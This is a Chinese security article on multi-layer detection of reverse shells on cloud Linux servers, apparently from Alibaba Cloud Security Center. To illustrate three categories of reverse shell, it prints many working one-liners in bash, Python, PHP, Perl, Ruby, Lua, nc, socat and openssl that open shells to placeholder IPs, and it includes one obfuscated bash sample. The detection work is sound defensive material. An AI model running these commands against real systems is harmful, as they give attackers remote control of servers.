freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

云上威胁检测 | 详解反弹shell多维检测技术
2021-02-18 15:21:26
所属地 浙江省

前言

反弹是shell攻击者用于控制目标服务器的一种手段,目标服务器主动发出网络连接请求,将服务器命令执行的标准输入、标准输出、标准错误重定向到攻击端,攻击端通过监听来自目标服务器的请求,对目标服务器下发指令并获取执行结果。常用于目标服务器位于内网、受限于防火墙策略等无法使用正向连接的入侵场景。

云上现状

通过分析云上近三年的Linux服务器入侵事件,攻击链路中反弹shell实现的语言及工具使用率如下图:

image

其中交互式bash + /dev/tcp是使用最多的反弹shell,/dev/tcp/作为bash的默认特性使得该反弹方式兼容绝大多数环境,因此使用率高;紧随其后的是兼容性较好且灵活易用的Python。随着go语言的兴起,云上入侵事件开始出现go反弹shell的身影。

可以看到反弹shell实现的方式灵活多样,每种语言都可以进一步延伸和扩展。因此,为了保障最优的检出效果,平衡误报与误报,反弹shell的检测方案需要综合考虑多种场景因素。

常规解法

常见的检测方案通过正则匹配的方式,提取反弹shell命令的特征去匹配命令日志、流量日志,具有以下几个缺陷:

· 命令日志采集不够完整,比如通过netlink等方式采集的日志,在碰到管道符、重定向时会无法采集完整的原始执行命令。而通过patch bash的方式记录命令日志,在遇到服务器使用zsh、ksh等其他shell环境,或攻击者上传自己编译的bash会失效;

· 正则无法覆盖无穷无尽的文本对抗,攻击者总能挖掘出新的方式变形来绕过,在实际业务场景中,过多复杂正则带来性能压力,而通配性更广的正则带来误报;

· 网络流量加密后,特征匹配失效。

分类与检测思想

检测需要由表及里,尽可能挖掘出更本质的解决方法,因为表层对抗是无穷无尽的。那么站在检测的角度,反弹shell是否能归纳为几种典型类型呢?反弹shell的本质可以理解为:

网络通信+命令执行+重定向方式

命令执行和网络通信借助重定向,构建出一条流动的数据通道,攻击者利用这条通道对服务器下发指令进行控制。不同的实现方式组合在一起就形成了五花八门的反弹shell,比如:

· 网络通信可以使用TCP/UDP/ICMP等协议,TCP协议再细分又可以包含HTTP/HTTPS协议等,UDP包含DNS等;

· 命令执行可以通过调用shell解释器、glibc库、Syscall等方式实现;

· 重定向我们在本文中称之为“中转”,可以通过管道、成对的伪终端、内存文件等等实现。

按照这个思路,我们对反弹shell划分出以下三种类型

第一类反弹shell:直接重定向shell的输入输出到socket

最典型的例子是

bash -i >& /dev/tcp/10.10.10.10/666 0>&1

通过重定向bash -i的标准输入、标准输出、标准错误到/dev/tcp socket进行网络通信,可以通过下图理解重定向过程

image

这类反弹shell检测方案可以通过检测shell的标准输入、标注输出是否被重定向到socket,也可以通过一些简单的主机网络日志特征覆盖

image

image

直接重定向shell解释器的输入输出到socket类型常见例子

bash -i >& /dev/tcp/10.10.10.10/6060 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",6060));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.10.10.10",6060);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i="10.10.10.10";$p=6060;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",6060).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.10','6060');os.execute('/bin/sh -i <&3 >&3 2>&3');"

第二类反弹shell:通过管道/伪终端等中转, 再重定向shell的输入输出到中转

此类反弹shell借助管道、伪终端等进行中转,如下面这个案例将sh -i的标准输入、标准输出、标准错误重定向到命名管道/tmp/f,同时加密通信数据也流向该命名管道。

mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.0.0:666 > /tmp/f

在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪fd和进程的关系可以覆盖

image

云安全中心告警

image

这类反弹shell使用频率较高,其中利用伪终端中转的方式值得单独讨论,比如以下案例

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.155",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

该模式与通过管道等中转原理一样,但通过伪终端中转的检测难度大大提升,单从shell的标准输入输出来看,和正常打开的终端没有什么区别。此外,一些场景如容器、各类产品agent等等也会有相似的日志表现,在平衡漏报与误报的难度上大大提升。因此我们在文件描述符检测方案的基础上,结合进程、网络等多种日志信息综合分析。

云安全中心告警

image

通过管道、伪终端等作为中转体,并与socket打通,重定向shell解释器的输入输出到中转体,比如以下案例

nc 10.10.10.10 6060|/bin/sh|nc 10.10.10.10 5050 nc -e /bin/bash 10.10.10.10 6060 nc -c bash 10.10.10.10 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:6060
mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 6060>/tmp/f
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.10:6060 > /tmp/s; rm /tmp/s
mknod backpipe p; nc 10.10.10.10 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe
exec 5<>/dev/tcp/10.10.10.10/6060;cat <&5|while read line;do $line >&5 2>&1;done
telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.10.10 5050

第三类反弹shell:编程语言实现标准输入中转,重定向命令执行的输入到中转

第三种类型通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"

在这种场景下,反弹shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升,除了从进程命令行尽可能的覆盖这类反弹shell的特征以外,云安全中心通过异常命令行为序列、异常shell启动模型对该类风险进行兜底。

异常命令行为序列模型依托于于阿里云大数据实时计算平台,通过分析命令序列与攻击者获取shell后行为相似度来判定是否为反弹shell。而异常shell启动模型结合多维度特征以及机器历史行为综合判定产出告警。如下图告警案例

image

编程语言实现标准输入中转,重定向命令执行的输入到中转,比如以下案例

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.10.10.10',6060))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
lua5.1 -e 'local host, port = "10.10.10.10", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.10","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

阿里云安全中心多维检测方案

攻击与防御技术总是在不断的对抗中升级,任何单点的突破都可能形成稳定绕过方式。理论上任何一种反弹shell检测都不是完美的,特别是第三类反弹shell。云安全中心实践纵深检测思想,使用多维度检测方案交叉埋点,覆盖从反弹shell执行到后续渗透利用多个阶段。

image

除了上文我们详细介绍的更贴近反弹shell本质的FD检测技术,以及从行为目的出发的异常命令行为序列检测技术、异常shell启动检测,还有常规的命令、网络特征覆盖方案以外,云安全中心同时使用以下技术方案进行兜底,最大程度保障检出效果。

脚本沙箱

脚本类型的反弹shell,阿里云云安全中心也有针对性解决方案。

对于落盘脚本文件进行文件落盘检测。包括但不限于bash、python、perl、vbs、powershell、bat、jar等。

"${@~~}"  "${@^^}"   $BASH  ${*%%$9tcW\)zX}   <<< "$(  "${@~~}"  $'\162'''e${*}v <<< '   }^^*{$   ")     }^^*{$  ;   }4S:\{\/CZ.!\?//@{$   }^^@{$   "}~~H7ONC{$"   s%  f\"t"n""ir*$p}@!{$  },*{$ }L>JO%*{$ &&  }ca\L&[\%%@{$ '"'"'1&>0 3332/1.1.1.1/PCT/VED/ &> I- HSAB'"'"'=H7ONC    ($"   l}#VDG~g/g:fii\//*{$a"}~@{$"v'"'"'e'"'"'   }~*{$  '  ${@~}   ${@^}  ;   ${*%%S9;fj$^Y}    )"   ${*,,} ${@%r-,,}

image

对于混淆类样本,通过每种语言的trace模式,进行动态解混淆后检测。

近些年,java应用越来越多,在云上也出现一些利用jar包进行反弹shell的case。阿里云安全中心对jar等打包类文件进行静态反编译以及结合动态的运行进行多维度判定。

image

随着攻防对抗程度提升,无文件攻击越来越流行,阿里云安全中心针对无文件类反弹SHELL有相应检测方案。

image

二进制沙箱

阿里云安全中心对于常见的c/c++、go、meterpreter shellcode等二进制反弹shell开发方式进行了特殊的识别和处理,综合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测。

image

流量特征

云安全中心覆盖常见shell通信特征,辅助提升检出效果。

image

对抗行为检测

云安全中心覆盖常见绕过方式,如替换系统shell、命令编码等等,作为辅助手段提升检测效果。如下图告警

image

总结

云安全中心实践纵深检测思想,采用多维度交叉检测反弹shell方案,通过进程特征覆盖、文件描述符分析、命令行为序列、异常shell启动、二进制沙箱、脚本沙箱、流量特征覆盖、对抗行为检测共八项技术在不同入侵阶段埋点,从而最大程度保障检出效果。

# 数据安全 # 网络安全技术 # 威胁监测 # 多维检测技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录